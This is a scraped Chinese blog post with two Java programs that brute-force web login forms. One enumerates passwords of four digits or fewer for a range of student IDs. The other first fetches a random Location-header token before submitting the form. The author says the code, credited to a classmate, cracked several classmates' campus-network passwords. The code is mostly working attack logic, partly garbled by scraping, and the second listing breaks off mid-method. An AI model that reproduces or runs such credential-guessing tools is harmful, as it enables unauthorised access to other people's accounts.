java網路程式設計五:暴力法破解登入系統的完全實現(木子)
阿新 • • 發佈:2019-01-04
注:以下破解思路及程式碼源自我同學木子
1、先來看一個無任何安全措施的登入系統的破解方法:每次模擬表單提交,若登入成功,此時返回的報頭資訊中有Location欄位,登入失敗無此欄位,繼續模擬登入。直到破解成功,本人成功破解部分同學校園網登入密碼(純四位數字的)程式碼如下:
- <span style="font-size:16px;">package demo.net;
- import java.io.IOException;
- import java.io.PrintWriter;
- import java.net.HttpURLConnection;
-
import
- import mine.util.io.TextFile;
- //暴力法破解簡單登入系統:該系統無任何安全措施
- publicclass PostTest {
- String urlString = "登入頁面的url";
- public PostTest() {
- }
- public PostTest(String urlString) {
- this.urlString = urlString;
- }
- // 提交一次使用者請求
-
privateboolean doPost(String user, String password) {
- boolean sucess = false;
- try {
- URL realUrl = new URL(urlString);
- HttpURLConnection conn = (HttpURLConnection) realUrl
- .openConnection();
- conn.setDoOutput(true);
- conn.setDoInput(true);
-
conn.setInstanceFollowRedirects(false
- // 提交表單,傳送的資料是直接用Firebug擷取的然後把使用者名稱,密碼部分換成引數
- PrintWriter out = new PrintWriter(conn.getOutputStream());
- out.print("要提交的表單資訊");
- out.flush();
- // 如果登入不成功,報頭中沒有Location欄位,getHeaderField("Location") 返回null
- // 登入成功,返回一個隨機的Location欄位
- // System.out.println(conn.getHeaderFields());
- if (conn.getHeaderField("Location") != null) {
- sucess = true;
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- return sucess;
- }
- // 這是一個全排列演算法, 對特定長度的密碼排列組合,把結果存入list
- // user:使用者名稱 , n:字元下標 , len:字元陣列長度,也就是密碼長度
- privateboolean createPassWord(String user, char[] str, int n, int len) {
- if (n == len) {
- String ps = new String(str);
- if (doPost(user, ps)) {
- // System.out.println("sucess:" + user + " : " + ps);
- TextFile.write("file/校園網使用者名稱及密碼.txt", true, "sucess:" + user
- + " : " + ps + "\n");
- returntrue;
- }
- returnfalse;
- }
- for (int i = 0; i <= 9; i++) {
- str[n] = (char) (i + '0');
- if (createPassWord(user, str, n + 1, len))
- returntrue;
- }
- returnfalse;
- }
- // 破解一個使用者的密碼
- publicvoid test(String user) {
- for (int i = 0; i < 4; i++) {
- if (createPassWord(user, newchar[i + 1], 0, i + 1))
- break;
- }
- }
- publicstaticvoid main(String[] args) {
- PostTest pt = new PostTest();
- for (int i = 1; i <= 9; i++)
- pt.test("09050510" + i);
- for (int i = 10; i <= 31; i++)
- pt.test("0905051" + i);
- }
- }
- </span>
這個示例程式碼中只破解密碼為4位或4位數字之內的密碼,大概破解一個使用者需要十分鐘。如果破解5、6...更長的密碼,破解時間將很長。
注:以下破解思路及程式碼源自我同學木子
2、在有些登入系統會採用安全措施,每次登入都會在url上產生一個隨機值,該值為報頭資訊中的Location欄位的值,所以破解時要先獲得該值,然後組成真正的url給伺服器傳送表單資訊,這裡要進行兩次連線,第一次獲取Location欄位的值,第二次才是真正的模擬登入。注意要御製重定向。程式碼如下:
- <span style="font-size:16px;">package demo.net;
- import java.io.IOException;
- import java.io.PrintWriter;
- import java.net.HttpURLConnection;
- import java.net.URL;
- //暴力法破解登入系統:該登入系統的特徵是報頭資訊中有Location欄位,該欄位的值隨機生成
- publicclass HttpTest {
- //要破解的登入系統的url
- String urlString = "要破解的系統的url";
- public HttpTest() {
- }
- public HttpTest(String urlString) {
- this.urlString = urlString;
- }
- // 提交一次使用者請求
- privateboolean doPost(String user, String password) {
- boolean sucess = false;
- try {
- // 先通過url獲取head中Location欄位,這個欄位是隨機的,每次連線都不一樣
- URL url = new URL(urlString);
- HttpURLConnection connection = (HttpURLConnection) url
- .openConnection();
- connection.setRequestMethod("HEAD");
- connection.setInstanceFollowRedirects(false);// 不讓重定向,這樣才會返回Location欄位資訊
- connection.connect();
- // 通過獲取的Location欄位的資訊構造真正提交表單的url
- URL realUrl = new URL(urlString
- + connection.getHeaderField("Location"));
- HttpURLConnection conn = (HttpURLConnection) realUrl
- .openConnection();
- conn.setDoOutput(true);
- conn.setDoInput(true);
- conn.setInstanceFollowRedirects(false);
- // 提交表單,傳送的資料是直接用Firebug擷取的然後把使用者名稱,密碼部分換成引數
- PrintWriter out = new PrintWriter(conn.getOutputStream());
- out.print("登入時提交的表單資訊");
- out.flush();
- // 如果登入不成功,報頭中沒有Location欄位,getHeaderField("Location") 返回null
- // 登入成功,返回一個隨機的Location欄位
- // System.out.println(conn.getHeaderFields());
- if (conn.getHeaderField("Location") != null) {
- sucess = true;
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- return sucess;
- }
- // 這是一個全排列演算法, 對特定長度的密碼排列組合,把結果存入list
- // user:使用者名稱 , n:字元下標 , len:字元陣列長度,也就是密碼長度
- privateboolean createPassWord(String user, char[] str, int n, int len) {
- if (n == len) {
- String ps = new String(str);
- if (doPost(user, ps)) {
- System.out.println("sucess:" + user + " : " + ps);
- returntrue;